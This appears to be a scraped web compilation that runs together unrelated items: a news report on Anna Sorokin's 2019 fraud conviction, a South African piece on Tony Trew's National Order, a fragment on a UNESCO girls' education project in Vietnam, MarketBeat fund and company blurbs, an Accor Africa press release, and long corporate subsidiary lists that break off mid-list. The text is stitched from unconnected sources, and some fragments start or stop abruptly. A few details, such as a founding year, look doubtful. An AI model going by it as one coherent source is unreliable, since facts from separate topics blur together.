RTHK: 'Heiress' who conned New York found guilty A German-Russian woman who passed herself off as an heiress was found guilty of multiple felonies Thursday in New York, for stealing over US$200,000 and attempting to make off with millions more. "As proven at trial, Anna Sorokin committed real white-collar felonies over the course of her lengthy masquerade," District Attorney Cyrus Vance said in a statement announcing the conviction. Sorokin, 28, invented a new identity upon her 2016 arrival in the United States, presenting herself as an heiress when she was in fact the daughter of a Russian truck driver who moved to Germany at the age of 16. Through clever lies and incredible self-confidence, Sorokin who now faces up to 15 years in prison received tens of thousands of dollars in loans from several banks. From November 2016 to August 2017, she managed to travel for free on private planes and lived for months at luxury Manhattan hotels without paying the bill, according to New York prosecutors, who accused her of stealing a total of US$275,000. As she became more enmeshed with the New York City elite, Sorokin focused on an ambitious project to open an upscale nightclub that doubled as an art gallery. She tried to borrow US$22 million in order to launch it after convincing a powerful promoter to provide a venue on the prestigious Park Avenue. Sorokin's attorney Todd Spodek likened her to Frank Sinatra, saying: "In a city that favors money and the appearance of money... they both created their own opportunities." "She was creating a business that she believed would work and she was buying time," her attorney argued. (AFP) This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. South Africa: A life of service:Tony Trew An old African proverb goes that when an old man dies a library burns down with him. This adage was not to be the case with National Order recipient of the Order of Luthuli and former Deputy Government Communication Information System (GCIS) CEO, Anthony Tony Trew. On Thursday, Trew was bestowed the order by President Cyril Ramaphosa for his contribution to the attainment of democracy and to the reconstruction of a post-apartheid society. Describing Trews work, the Presidency said he served tirelessly and loyally. His linguistic prowess and meticulous application of language is imprinted in many dossiers of government where he served tirelessly and loyally, the Presidency on his bestowal. In a knowledge sharing session organised by his former professional home, GCIS, the revered politician and discourse analyst reflected on his life of service. Ive been involved in research to do with communication and policy. I spent half my life outside the country like many others and then when I came back it was just before the election in 1994. At that point it seemed to me as it did to others that whatever skills you have you should bring into government as part of the reconstruction efforts, said Trew. After the Former Deputy CEO of GCIS left his stint at President Nelson Mandelas office he moved to GCIS. That was very interesting and exciting to be at the beginning of establishing a new and quite different communication system for government, he said of work at the department. Trew said during the establishment of the GCIS, the principle focus at that time was to make communication a part of development and reconstruction. During that time a lot of thinking was going on into the character of governments communication. Central to this was to arm people with information to build their own lives in partnership with government, he said. Reflecting on his award, which was a successful nomination put forward by the GCIS -led by his former colleague and current Acting Director General Phumla Williams, Trew said he sees it more as a kind of recognition of his work. Work that doesnt have a public profile but work that if done properly helps the life of a nation and helps progress, he said. Staying true to his love for research, Trew said he is working on a long study based on the countrys elections since 1994. SAnews.gov.za This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. The three-year project is funded by UNESCOs Malala Fund for Girls Right to Education with financial support from the Republic of Koreas CJ Group. Built with consultation from the Ministry of Education and Training and the Committee for Ethnic Minority Affairs, the project will contribute to the implementation of Vietnams Education Development Strategy for the 2011-2020 period, the national action plan on implementing the sustainable development goal on quality education, and the strategy on ethnic affairs until 2020. Under the motto Targeting a better standard of living and education, the project will attract the participation of 16,000 people, including students, teachers, principals of ethnic minority schools, and those working in the educational sector in the three provinces of Ha Giang, Ninh Thuan and Soc Trang. The project will focus on four key areas, including raising public awareness on education for girls, building a safe learning environment, increasing employment opportunities for girls and women, and supporting ethnic minority children to overcome prejudices. Chief Representative of UNESCO Office in Hanoi, Michael Croft, said that UNESCO will coordinate with ethnic minority communities and the functional agencies to help ethnic minority children realise their future dreams and aspirations. The name of the project, We are able, says it all, as ethnic minority people can make actual contributions to the on-going progress, he stressed. Heekyung Jo Min, Executive Vice President of Global CSV Management Office at CJ Group, expressed her hope that, through the project, ethnic minority girls will rise into citizens who are equipped with adequate capacity and skills and be respected by the community. American Consumer News, LLC dba MarketBeat 2010-2021. All rights reserved. 326 E 8th St #105, Sioux Falls, SD 57103 | U.S. Based Support Team at [email protected] | (844) 978-6257 MarketBeat does not provide personalized financial advice and does not issue recommendations or offers to buy stock or sell any security. Our Accessibility Statement | Terms of Service | Do Not Sell My Information 2021 Market data provided is at least 10-minutes delayed and hosted by Barchart Solutions. Information is provided 'as-is' and solely for informational purposes, not for trading purposes or advice, and is delayed. To see all exchange delays and terms of use please see disclaimer. Fundamental company data provided by Zacks Investment Research. Eaton Vance Tax-Managed Diversified Equity Income Fund is a closed-ended equity mutual fund launched and managed by Eaton Vance Management. The fund invests in public equity markets across the globe. It seeks to invest in stocks of companies operating across diversified sectors. The fund primarily invests in dividend paying stocks of companies. It also writes S&P 500 Index call options with respect to a portion of the value of its common stock portfolio to generate current cash flow from the options premium received. The Fund also normally invests in issuers located in at least three countries including the United States. It also invests through derivatives. The fund benchmarks the performance of its portfolio against a composite benchmark comprised of 80% S&P 500 Index and 20% FTSE Eurotop 100 Index. Eaton Vance Tax-Managed Diversified Equity Income Fund was formed on November 30, 2006 and is domiciled in the United States. Read More First American Financial Corp. operates as an insurance company. It provides title insurance and settlement services to the real estate and mortgage industries. The company operates its business through the following segments: Title Insurance & Services and Specialty Insurance. The Title Insurance & Services segment provides title insurance, escrow, closing services and similar or related financial services domestically and internationally in connection with residential and commercial real estate transactions. It also maintains, manages and provides access to title plant records and images and provides banking, trust and investment advisory services. The Specialty Insurance segment issues property & casualty insurance policies and sells home warranty products. It also provides title plant management services, which include title and other real property records and images, valuation products and services, home warranty products, property and casualty insurance and banking, trust and investment advisory services. First American Financial was founded in January, 2008 and is headquartered in Santa Ana, CA. Read More 8 hours ago Tesla Dips Into Year End - Whats Next? It wouldnt be like Tesla (NASDAQ: TSLA) to keep their investors guessing would it? After rallying more than 100% from July through the start of November, the brakes were firmly applied when CEO Elon Musk announced his intention to start unloading huge portions of his stock holdings to meet his tax obligations. Read Article Deutsche Post AG operates as a mail and logistics company in Germany, rest of Europe, the Americas, the Asia Pacific, the Middle East, and Africa. The company operates through five segments: Post & Parcel Germany; Express; Global Forwarding, Freight; Supply Chain; and eCommerce Solutions. The Post & Parcel Germany segment transports and delivers mail, letters, parcels, physical and hybrid letters, special products for merchandize, and registered mail to private and business customers. It also provides additional services, such as registered mail, cash on delivery, and insured items. The Express segment transport and offers time-definite international (TDI) shipments comprising urgent documents and goods. The Global Forwarding, Freight segment transports goods by air, ocean, and overland; and offers multimodal and sector-specific solutions. This segment's business model is based on brokering transport services between customers and freight carriers. The Supply Chain segment provides contract logistics solutions, including warehousing and transport services; and value-added services, such as e-fulfilment, lead logistics partner, real estate solutions, service logistics, and packaging solutions for various industrial sectors. The eCommerce Solutions segment provides parcel delivery and cross-border non-TDI services. Deutsche Post AG is headquartered in Bonn, Germany. Read More Accor , a world-leading augmented hospitality group, is fast-tracking its development plans in Africa, leveraging its expanded portfolio to consolidate its leadership position in North and West Africa, and achieve rapid growth in Sub Saharan and East Africa. With the industrys most dynamic portfolio of brands, covering every market segment from economy to luxury and comprising innovative lifestyle concepts, branded residences and extended-stay models, the Group is taking a leading role in Africas evolving hospitality landscape. Accor commands the largest market share in terms of keys, with more than 26,500 rooms across over 156 properties in 23 countries continent-wide and a pipeline of 54 hotels with over 10,386 rooms. The Group is on track to open 35 hotels in Africa by 2020, and has set a target of signing between 15 to 20 projects each year between now and 2025. This strategy is bolstered by the recent Movenpick Hotels & Resorts acquisition, a 50% stake in South Africas Mantis Group, plus its creation of a joint US$1 billion investment fund with Katara Hospitality, based in Qatar, dedicated to hospitality projects in select Sub-Saharan African countries. Our expanded portfolio of more than 30 brands across the entire market spectrum economy, midscale, upscale, luxury and high-end luxury is a catalyst for growth in Africa; it means we have a range of hospitality options for every project in every destination across the continent, said Mark Willis, Chief Executive Officer, Middle East & Africa for Accor. Our brand offering, combined with our unparalleled market expertise, puts us in a strong position to meet our key development goals, namely consolidating our leadership position in North Africa and accelerating development in East and Sub-Saharan Africa. He added: This will be achieved by maximizing opportunities for recent brand additions, including lifestyle concepts; identifying markets for branded residences and extended-stay projects a segment in its relative infancy in Africa; and capitalizing on the success of existing brands such as ibis, Novotel, Pullman, Sofitel and Fairmont, to name a few. Target growth markets include Kenya and Tanzania in East Africa; Ghana and Nigeria in West Africa; and Johannesburg and Cape Town in South Africa, with a view to operating both stand-alone and multiple properties in one location such as mixed-use projects the current focus of infrastructure development plans in many African locations. In North Africa, the Group is looking to pioneer hospitality concepts that are new to the market, with Fairmont branded residences already developed in Marrakesh and two more planned for Rabat and Taghazout, north of Agadir. The development team is also eyeing prospects for lifestyle brands in Morocco and Tunisia, both considered mature hotel markets, as well as in South Africa. Accor is proving a trailblazer of extended-stay concepts in Africa too, recently announcing plans to debut its first Pullman Living property globally in Ghana. Pullman Accra will be a dual hospitality offering in the premium segment, with 149 serviced apartments under the Pullman Living brand and a hotel with 214 rooms and suites. Pullman is an upscale brand that caters to demand from Africas fast-growing middle-class demographic, as is Movenpick, which has strong presence in North Africa and will open its 17 property in the region this year Movenpick Sfax, Tunisia. Its Africa pipeline spans North, West and East Africa, with two new hotels scheduled to launch in Addis Ababa (Ethiopia) and Abidjan (Cote dIvoire) in 2020. The Mantis brand, which specializes in high-end eco-escapes and lifestyle resorts, will significantly ramp up Accors presence in South Africa where it will open two new projects this year, as well as in East Africa, with new properties in Rwanda and Zambia also launching in 2019. Partager et informez vous aussi...... 0 shares Share Tweet LinkedIn The following companies are subsidiares of IDEX: ADS Corp., ADS Environmental Services Pty Limited, ADS Environmental Technologies Inc., ADS LLC, AEGIS Flow Technologies, AEGIS Flow Technologies L.L.C., AWG, AWG Fittings GmbH, Abel Pumps, Advanced Thin Films, Advanced Thin Films Inc., Airtech Group, Akron Brass, Akron Brass Company, Alfa Valvole, Alfa Valvole S.r.l., Band-It Clamps (Asia) Pte. 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The following companies are subsidiares of Illinois Tool Works: A V Co 1 Limited, A V Co 2 Limited, A V Co 3 Limited, ACCU-LUBE Manufacturing GmbH - Schmiermittel und -gerate -, AIP/BI Holdings Inc., Accessories Marketing Holding Corp., Advanced Molding Company Inc., Allen Coding GmbH, Allen France SAS, Alpine Automation Limited, Alpine Engineered Products, Alpine Holdings Inc., Alpine Systems Corporation, Anaerobicos S.r.l., AppliChem GmbH, Arylux Hungary Elektromechanikus Alkatreszgyarto Kft, Avery Berkel France, Avery India Limited, Avery Malaysia Sdn Bhd, Avery Weigh Tronix, Avery Weigh-Tronix (Suzhou) Weighing Technology Co. Ltd., Avery Weigh-Tronix Finance Limited, Avery Weigh-Tronix Holdings Limited, Avery Weigh-Tronix International Limited, Avery Weigh-Tronix LLC, Avery Weigh-Tronix Limited, Avery Weigh-Tronix Properties Limited, Azon Limited, B.C. Immo, Beijing Miller Electric Manufacturing Co. Ltd., Berkel (Ireland) Limited, Berrington UK, Brapenta Eletronica Ltda., Brooks Instrument (Shanghai) Co. Ltd, Brooks Instrument B.V., Brooks Instrument GmbH, Brooks Instrument KFT, Brooks Instrument Korea Ltd., Brooks Instrument LLC, Buell Industries Inc., CAPMAX Logistica S.A. de C.V., CCI Realty Company, CFC Europe GmbH, CS (Australia) Pty Limited, CS (Finance) Europe S.a.r.l., CS Mexico Holding Company S DE RL DE CV, CSMTS LLC, Calvia Spolka z Ograniczona Odpowiedzialnosci, Capital Ventures (Australasia) S.a r.l, Capmax Logistica S.A. de C.V., Celeste Industries Corporation, Coeur, Coeur (Shanghai) Medical Appliance Trading Co. Ltd, Coeur Asia Limited, Coeur Holding Company, Coeur Inc., Compagnie Hobart, Compagnie de Materiel et d'Equipements Techniques-Comet, Constructions Isothermiques Bontami C.I.B., Crane Carrier Company, Despatch Industries, Diagraph Corporation Sdn. Bhd, Diagraph ITW Mexico S. de R.L. De C.V., Diagraph Mexico S.A. DE C.V., Dongguan Ark-Les Electric Components Co. Ltd., Dongguan CK Branding Co. Ltd., Dorbyl U.K. (Holdings) Limited, Duo Fast de Espana S.A.U., Duo-Fast Korea Co. Ltd., Duo-Fast LLC, E.C.S. d.o.o., ECS Cable Protection Sp. Zoo, ELRO (Holding) AG, ELRO Grosskuchen GmbH, ELRO-WERKE AG, Elga Skandinavian AS, Elro Group, Eltex-Elektrostatik-Gesellschaft mit beschrankter Haftung, Envases Multipac S.A. de C.V., Eurotec Srl, FEG Investments L.L.C., Fasver, Filtertek, Filtertek De Mexico Holding Inc., Filtertek De Mexico S.A. de C.V., GC Financement SA, Gamko B.V., Gun Hwa Platech (Taicang) Co. Ltd., HOBART Gesellschaft mit beschrankter Haftung, Hartness International, Hobart (Japan) K.K., Hobart Andina S.A.S., Hobart Brothers International Chile Limitada, Hobart Brothers LLC, Hobart Dayton Mexicana S. de R.L. de C.V., Hobart Food Equipment Co. Ltd., Hobart Foster Belgium, Hobart International (Singapore) Pte. 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Ltd, ITW Automotive Products GmbH, ITW Automotive Products Mexico S. de R.L. de C.V., ITW Bailly Comte, ITW Befestigungssysteme GmbH, ITW Belgium, ITW Brazilian Nominee L.L.C., ITW Building Components Group Inc., ITW CER, ITW CP Distribution Center Holland BV, ITW CS (UK) Ltd., ITW Canada Inc., ITW Celeste Inc., ITW Chemical Products Ltda, ITW Chemical Products Scandinavia ApS, ITW Colombia S.A.S., ITW Construction Products (Shanghai) Co. Ltd., ITW Construction Products (Singapore) Pte. Ltd., ITW Construction Products AB, ITW Construction Products AS, ITW Construction Products ApS, ITW Construction Products CZ s.r.o., ITW Construction Products Italy Srl, ITW Construction Products OU, ITW Construction Products OY, ITW Contamination Control (Wujiang) Co. Ltd., ITW Contamination Control B.V., ITW Covid Security Group Inc., ITW DS Investments Inc., ITW DelFast do Brasil Ltda., ITW Delta Sarl, ITW Denmark ApS, ITW Dynatec, ITW Dynatec Adhesive Equipment (Suzhou) Co. Ltd., ITW Dynatec GmbH, ITW Dynatec Kabushiki Kaisha, ITW EAE B.V., ITW EAE Mexico S de RL de CV, ITW EF&C France SAS, ITW EF&C Selb GmbH, ITW Electronic Business Asia Co. Limited, ITW Electronic Components/Products (Shanghai) Co. Ltd., ITW Electronics (Suzhou) Co. Ltd., ITW Epsilon Sarl, ITW Espana S.A., ITW FEG Hong Kong Limited, ITW FEG do Brasil Industria e Comercio Ltda., ITW Fastener Products GmbH, ITW Finance Designated Activity Company, ITW Finance Europe S.A., ITW Fluids and Hygiene Solutions Ltda., ITW Food Equipment Group LLC, ITW France Finance Alpha S.A.S., ITW GH LLC, ITW GSE ApS, ITW GSE Inc., ITW Gamma Sarl, ITW German Management LLC, ITW Global Investments Holdings LLC, ITW Global Investments Holdings Y Compania Sociedad en Comandita por Acciones, ITW Global Investments II Inc., ITW Global Investments Inc., ITW Global Tire Repair Europe GmbH, ITW Global Tire Repair Inc., ITW Global Tire Repair Japan K.K., ITW Graphics (Thailand) Ltd., ITW Graphics Asia Limited, ITW Graphics Italy S.R.L. in liquidazione, ITW Great Britain Investment & Licensing Holding Company, ITW Group France (Luxembourg) S.ar.l., ITW HLP Thailand Co. Ltd., ITW Holding Quimica B.C. S.L. Sole Shareholder Company, ITW Holdings Australia L.P., ITW Holdings I Limited, ITW Holdings II Limited, ITW Holdings III Limited, ITW Holdings IV Limited, ITW Holdings IX Limited, ITW Holdings Inc., ITW Holdings UK, ITW Holdings V Limited, ITW Holdings VI Limited, ITW Holdings VII Limited, ITW Holdings VIII Limited, ITW Holdings X Limited, ITW Holdings XI Limited, ITW Hungary Finance Beta Kft, ITW ILC Holdings I Inc., ITW IPG Investments LLC, ITW Imaden Industria e Comercio Ltda., ITW India Private Limited, ITW International Holdings LLC, ITW Invest Holding GmbH, ITW Ireland Holdings Unlimited Company, ITW Ireland Unlimited Company, ITW Italy Finance Srl, ITW Italy Holding Srl, ITW Japan Ltd., ITW Korea LLC, ITW LLC & Co. KG, ITW Limited, ITW Lombard Holdings Inc., ITW Lys Fusion S.r.l., ITW M FILMS II LLC, ITW MH LLC, ITW Meritex Sdn. Bhd., ITW Metal Fasteners S.L., ITW Mexico Holding Company S. De R.L. de C.V., ITW Mexico Holdings LLC, ITW Morlock GmbH, ITW Mortgage Investments II Inc., ITW Mortgage Investments III Inc., ITW Mortgage Investments IV Inc., ITW Netherlands Administration BV, ITW Netherlands Beta B.V., ITW Netherlands Finance Alpha BV, ITW New Universal LLC, ITW New Zealand, ITW Novadan Sp. Z.o.o., ITW PPF Brasil Adesivos Ltda., ITW Packaging Technology (China) Co. Ltd., ITW Participations S.a r.l., ITW Pension Funds Trustee Company, ITW Performance Plastic (Shanghai) Co. Ltd., ITW Performance Polymers & Fluids Japan Co. Ltd., ITW Performance Polymers & Fluids Korea Limited, ITW Performance Polymers & Fluids OOO, ITW Performance Polymers (Wujiang) Co. Ltd., ITW Performance Polymers ApS, ITW Performance Polymers and Fluids Group FZE, ITW Peru S.A.C., ITW Philippines Holdings LLC, ITW Poly Mex S. de R.L. de C.V., ITW Polymers Sealants North America Inc., ITW Pronovia s.r.o., ITW Pte. Ltd., ITW Qufu Automotive Cooling Systems Co. Ltd., ITW Real Estate Germany GmbH, ITW Residuals III L.L.C., ITW Residuals IV L.L.C., ITW Rivex, ITW SMPI, ITW SPG Mexico S. de R.L. de C.V., ITW Simco-Ion (Shenzhen) Co. Ltd., ITW Slovakia s.r.o., ITW Spain Holdings S.L., ITW Specialty Film LLC, ITW Specialty Films France, ITW Specialty Materials (Suzhou) Co. Ltd., ITW Spraytec, ITW Sverige AB, ITW Sweden Holding AB, ITW Test & Measurement Equipment (Shanghai) Co. Ltd, ITW Test & Measurement GmbH, ITW Test and Measurement Italia Srl, ITW Test and Measurement Services Industry and Trade Ltd., ITW Texwipe Philippines Inc., ITW Thermal Films (Shanghai) Co. Ltd., ITW UK, ITW UK Finance Beta Limited, ITW UK Finance Delta Limited, ITW UK Finance Gamma Limited, ITW UK Finance Limited, ITW UK Finance Zeta Ltd., ITW UK II Limited, ITW Universal II LLC, ITW Welding, ITW Welding AB, ITW Welding GmbH, ITW Welding Products B.V., ITW Welding Products Group FZE, ITW Welding Products Group S. DE R.L. De C.V., ITW Welding Products Italy Srl, ITW Welding Products Limited Liability Company, ITW Welding Produtos Para Solgdagem Ltda., ITW Welding Servicios Mexico S. de R.L. de C.V., ITW Welding Singapore Pte. Ltd., ITW de France, ITW do Brasil Industrial e Comercial Ltda., Ideal Molding Technologies LLC, Illinois Tool Works (Chile) Limitada, Illinois Tool Works (ITW) Nederland B.V., Illinois Tool Works Norway AS, Impar Comercio E Representacoes Ltda., Industrie Plastic Elsasser GmbH, Inmobiliaria Cit. S.A. de C.F., Innova Temperlite Servicios S.A. de C.V., Innovacion y Transformacion Automotriz S.A. de C.V., Instron (Shanghai) Ltd., Instron (Thailand) Limited, Instron Brasil Equipamentos Cientificos Ltda., Instron Foreign Sales Corp. Limited, Instron France S.A.S., Instron GmbH, Instron Holdings Limited, Instron International Limited, Instron Japan Company Ltd., Instron Korea LLC, International Leasing Company LLC, International Truss Systems Proprietary Limited, Isolenge - ITW Sistemas de Isolamento Termico Ltda., KCPL Mauritius Holdings, Kester, Kester Components (M) Sdn. Bhd., Kleinmann GmbH, Krafft S.L., Loma Systems, Loma Systems (Canada) Inc., Loma Systems BV, Loma Systems sro, Lombard Pressings Limited, Lumex Inc., Lys Fusion Poland Sp. z.o.o., M&C Specialties (Shenzhen) Co. Ltd., M&C Specialties Co., MAGNAFLUX GmbH, MEHB Holdings Limited, MGHG Property LLC, MOA Enterprises Inc, Manufacturing Avancee S.A., Meritex Technology (Suzhou) Co. Ltd., Meurer Verpackungssysteme GmbH, Miller Electric Mfg. LLC, Miller Insurance Ltd., NDT Holding LLC, NOVADAN APS, Norden Olje AB, North Star Imaging Europe, North Star Imaging Inc., Nova Chimica S.r.l., Orbitalum Tools GmbH, PENTA-91 OOO, PR. A. I. Srl, PT ITW Construction Products Indonesia, Pacific Concept Industries Limited (Enping), Panreac Quimica S.L., Paslode Fasteners (Shanghai) Co. Ltd., Peerless Machinery Corp., Penta Dnepr LLC, Penta Sever OOO, Penta Volga OOO, Polyrey, Premark FEG L.L.C., Premark HII Holdings LLC, Premark International, Premark International LLC, Prolex Sociedad Anonima, QSA Global Inc., Quimica Industrial Mediterranea S.L., Ramset Fasteners (Hong Kong) Ltd., Rapid Cook LLC, Refrigeration France, S.E.E. Sistemas Industria E Comercio Ltda., ST Mexico Holdings LLC, Sealant Systems International Inc., Sentinel Asia Yuhan Hoesa, Shanghai ITW Plastic & Metal Co. Ltd, Simco (Nederland) B.V., Simco Japan Inc., Societe de Prospection et dInventions Techniques SPIT, Speedline Holdings I Inc., Speedline Holdings I LLC, Speedline Technologies GmbH, Speedline Technologies Mexico S. de R.L. de C.V., Speedline Technologies Mexico Services S. de R.L. de C.V., Stokvis Celix Portugal Unipessoal LDA, Stokvis Danmark ApS, Stokvis Holdings S.A.R.L., Stokvis Promi s.r.o, Stokvis Prostick Tapes Private Limited, Stokvis Tapes (Hong Kong) Co. Limited, Stokvis Tapes (Shanghai) Co. Ltd., Stokvis Tapes (Shenzhen) Co. Ltd., Stokvis Tapes (Taiwan) Co. Ltd., Stokvis Tapes (Tianjin) Co. Ltd., Stokvis Tapes BVBA, Stokvis Tapes Benelux B.V., Stokvis Tapes Deutschland GmbH, Stokvis Tapes France, Stokvis Tapes Italia s.r.l., Stokvis Tapes Limited, Stokvis Tapes Limited Liability Company, Stokvis Tapes Norge AS, Stokvis Tapes Oy, Stokvis Tapes Polska Sp Z.O.O., Stokvis Tapes Sverige AB, Stolvis Holdings II S.A.R.L., Technopack Industria Comercio Consultoria e Representacoes Ltda., Teknek (China) Limited, Teknek (Japan) Limited, Teksaleco Ltd., The Miller Group Ltd, Thirode Grandes Cuisines Poligny, Tien Tai Electrode (Kunshan) Co. Ltd., Tien Tai Electrode Co. Ltd., Unichemicals Industria e Comercio Ltda., VR-Leasing Sarita GmbH & Co. Immobilien KG, VS European Holdco BV, Valeron Strength Films B.V.B.A., Veneta Decalcogomme S.r.l., Versachem Chile S.A., Vesta, Vesta (Guangzhou) Catering Equipment Co. Ltd, Vesta Global Limited, Viltronics Soltec, Vitronics Soltec B.V., Wachs Canada Ltd., Wachs Subsea LLC, Weigh-Tronix Canada ULC, Weigh-Tronix UK Limited, Wilsonart International Holdings LLC, Wynn Oil (South Africa) (Pty) Ltd., Wynn's Automotive France, Wynn's Belgium BVBA, Wynn's Italia Srl, Wynn's Mekuba India Pvt Ltd, ZF TRW (Engineered Fasteners and Components), and Zip-Pak International B.V.. The following companies are subsidiares of Ingersoll Rand: 211 E. Russell Road LLC, Air-Relief, Belliss & Morcom Brasil, Belliss and Morcom, Boardwalk Enterprises, Charm Merger Sub Inc., CompAir, CompAir (Hankook) Korea Co. Ltd., CompAir Acquisition (No. 2) Ltd., CompAir Acquisition Ltd., CompAir BroomWade Ltd., CompAir Canada, CompAir Finance Ltd., CompAir GmbH, CompAir Holdings Limited, CompAir Holman Ltd, CompAir International Trading (Shanghai) Co Ltd, CompAir Korea Ltd, CompAir South Africa (SA) (Pty) Ltd., CompAir UK Ltd, CompAir USA, Consolidated Distribution Holdings Ltd., DV Systems Inc., Emco Wheaton, Emco Wheaton GmbH Branch, Emco Wheaton Gmbh, Emco Wheaton UK, Emco Wheaton USA Inc, Enza Air Propriety Limited (South Africa), GD Aria Holdings #2 Limited, GD Aria Holdings Limited, GD Aria Investments Limited, GD First UK Ltd, GD German Holdings GmbH, GD German Holdings I Gmbh, GD German Holdings II GmbH, GD German Investments GmbH, GD Global Holdings, GD Global Holdings II, GD Global Holdings UK II Ltd., GD Global Ventures I B.V., GD Global Ventures II B.V., GD Global Ventures III B.V., GD Industrial Products Malaysia SDN. BHD., GD Investment KY, GD UK Finance Ltd., Gardner Denver (Thailand) Co. Ltd., Gardner Denver Austria GmbH, Gardner Denver Bad Neustadt Real Estate GmbH & Co KG, Gardner Denver Belgium NV, Gardner Denver Brasil Industria E Comercio de Maquinas Ltda., Gardner Denver CZ + SK sro, Gardner Denver Canada Corp, Gardner Denver Cyprus Investments II Ltd., Gardner Denver Cyprus Investments II Ltd. - US Branch, Gardner Denver Cyprus Investments Ltd., Gardner Denver Cyprus Investments Ltd. - US Branch, Gardner Denver Deutschland GmbH, Gardner Denver Engineered Products India Private Limited, Gardner Denver FZE, Gardner Denver Finance II LLC, Gardner Denver Finance Inc & Co KG, Gardner Denver France SA, Gardner Denver France SAS, Gardner Denver Group Services Ltd, Gardner Denver Group Svcs Ltd, Gardner Denver Hoffman, Gardner Denver Holdings, Gardner Denver Holdings Limited, Gardner Denver Hong Kong Investments Limited, Gardner Denver Hong Kong Ltd, Gardner Denver Iberica, Gardner Denver Industries Ltd., Gardner Denver Industries Pty Ltd., Gardner Denver Industries Pty Ltd. Branch, Gardner Denver International, Gardner Denver International Ltd., Gardner Denver Intl Ltd Middle East Regional Rep Office, Gardner Denver Investments, Gardner Denver Italy Holdings S.r.L., Gardner Denver Japan, Gardner Denver Kirchhain Real Estate GmbH & Co KG, Gardner Denver Korea, Gardner Denver Korea Ltd, Gardner Denver Ltd, Gardner Denver Ltd South Africa, Gardner Denver Ltd., Gardner Denver Ltd. Branch (Ireland), Gardner Denver Machinery (Shanghai) Co, Gardner Denver Machinery (Shanghai) Co., Gardner Denver Nash Brasil Industria E Comercio De Bombas Ltda, Gardner Denver Nash Deutschland GmbH, Gardner Denver Nash LLC, Gardner Denver Nash Machinery Ltd, Gardner Denver Nash Machinery Ltd., Gardner Denver Nederland BV, Gardner Denver Nederland Investments B.V., Gardner Denver Oberdorfer Pumps, Gardner Denver Oy, Gardner Denver Petroleum Pumps, Gardner Denver Polska Sp z.o.o., Gardner Denver Pte Ltd., Gardner Denver S.r.l., Gardner Denver Schopfheim GmbH, Gardner Denver Schopfheim Real Estate GmbH & Co KG, Gardner Denver Schweiz AG, Gardner Denver Slovakia, Gardner Denver SudAmerica S.r.l., Gardner Denver Sweden AB, Gardner Denver Taiwan Ltd., Gardner Denver Thomas, Gardner Denver Thomas GmbH, Gardner Denver Thomas Pneumatic Systems (Wuxi) Co., Gardner Denver Thomas Real Estate GmbH & Co KG, Gardner Denver UK, Gardner Denver Water Jetting Systems, Garo Dott. Ing. Roberto Gabbioneta S.r.l., Hamworthy Belliss & Morcom, ILMVAC (UK) Ltd., ILS Innovative Labor Systeme, ILS Inovative Laborsysteme GmbH, Indonesia Foreign Trade Representative Office, LeROI, LeRoi International Inc, MP Pumps Inc., Mako Compressors, Nash, Nash Elmo, Oina VV, Oina VV Aktiebolag, Robuschi, Rotary Compression Technologies, Runtech Systems, Runtech Systems (Shanghai) Co. Ltd., Runtech Systems Inc., Runtech Systems OY, Shanghai CompAir Compressors Co Ltd, Shanghai Compressors & Blowers Ltd., Syltone, TCM Investments, TIWR Real Estate GmbH & Co. KG, TODO AB, Tamrotor Marine Compressors AS, Thomas Industries, Thomas Industries Inc., Tri-Continent Scientific, Welch Vacuum Equipment (Shanghai) Co. Ltd., Zinsser Analytic, Zinsser Analytik GmbH, and Zinsser NA. The following companies are subsidiares of Lloyds Banking Group: A G Finance Ltd, A.C.L. Ltd, ACL Autolease Holdings Ltd, ADF No.1 Pty Ltd, Addison Social Housing Holdings Ltd, Alex Lawrie Factors Ltd, Alex. Lawrie Receivables Financing Ltd, Amberdate Ltd, Anglo Scottish Utilities Partnership 1, Aquilus Ltd, Automobile Association Personal Finance Ltd, BOS (Ireland) Property Services 2 Ltd, BOS (Ireland) Property Services Ltd, BOS (Shared Appreciation Mortgages (Scotland) No. 2) Ltd, BOS (Shared Appreciation Mortgages (Scotland) No. 3) Ltd, BOS (Shared Appreciation Mortgages (Scotland)) Ltd, BOS (Shared Appreciation Mortgages) No. 1 plc, BOS (Shared Appreciation Mortgages) No. 2 plc, BOS (Shared Appreciation Mortgages) No. 3 plc, BOS (Shared Appreciation Mortgages) No. 4 plc, BOS (Shared Appreciation Mortgages) No. 5 plc, BOS (Shared Appreciation Mortgages) No. 6 plc, BOS (USA) Fund Investments Inc., BOS (USA) Inc., BOS Edinburgh No 1 Ltd, BOS Mistral Ltd, BOS Personal Lending Ltd, BOSSAF Rail Ltd, Bank of Scotland (B G S) Nominees Ltd, Bank of Scotland (Stanlife) London Nominees Ltd, Bank of Scotland Branch Nominees Ltd, Bank of Scotland Central Nominees Ltd, Bank of Scotland Edinburgh Nominees Ltd, Bank of Scotland Equipment Finance Ltd, Bank of Scotland Foundation, Bank of Scotland LNG Leasing (No 1) Ltd, Bank of Scotland London Nominees Ltd, Bank of Scotland Nominees (Unit Trusts) Ltd, Bank of Scotland P.E.P. Nominees Ltd, Bank of Scotland Structured Asset Finance Ltd, Bank of Scotland Transport Finance 1 Ltd, Bank of Scotland plc, Bank of Wales Ltd, Barents Leasing Ltd, Barnwood Mortgages Ltd, Birchcrown Finance Ltd, Birmingham Midshires Financial Services Ltd, Birmingham Midshires Land Development Ltd, Birmingham Midshires Mortgage Services Ltd, Black Horse (TRF) Ltd, Black Horse Executive Mortgages Ltd, Black Horse Finance Holdings Ltd, Black Horse Finance Management Ltd, Black Horse Group Ltd, Black Horse Ltd, Black Horse Offshore Ltd, Black Horse Property Services Ltd, Boltro Nominees Ltd, British Linen Leasing (London) Ltd, British Linen Leasing Ltd, British Linen Shipping Ltd, C.T.S.B. Leasing Ltd, CBRail S.A.R.L., CF Asset Finance Ltd, CF1 Ltd, CM Venture Investments Ltd, Cancara Asset Securitisation Ltd, Capital 1945 Ltd, Capital Bank Leasing 12 Ltd, Capital Bank Leasing 3 Ltd, Capital Bank Leasing 5 Ltd, Capital Bank Leasing 9 Ltd, Capital Bank Property Investments (3) Ltd, Capital Personal Finance Ltd, Cardiff Auto Receivables Securitisation 2018-1 Plc, Cardiff Auto Receivables Securitisation 2019-1 Plc, Cardiff Auto Receivables Securitisation Holdings Ltd, Cardnet Merchant Services Ltd, Cashfriday Ltd, Cashpoint Ltd, Caveminster Ltd, Cedar Holdings Ltd, Celsius European Lux 2 S.A.R.L., Central Mortgage Finance Ltd, Chariot Finance Ltd, Cheltenham & Gloucester plc, Cheltenham II Securities 2020 DAC, 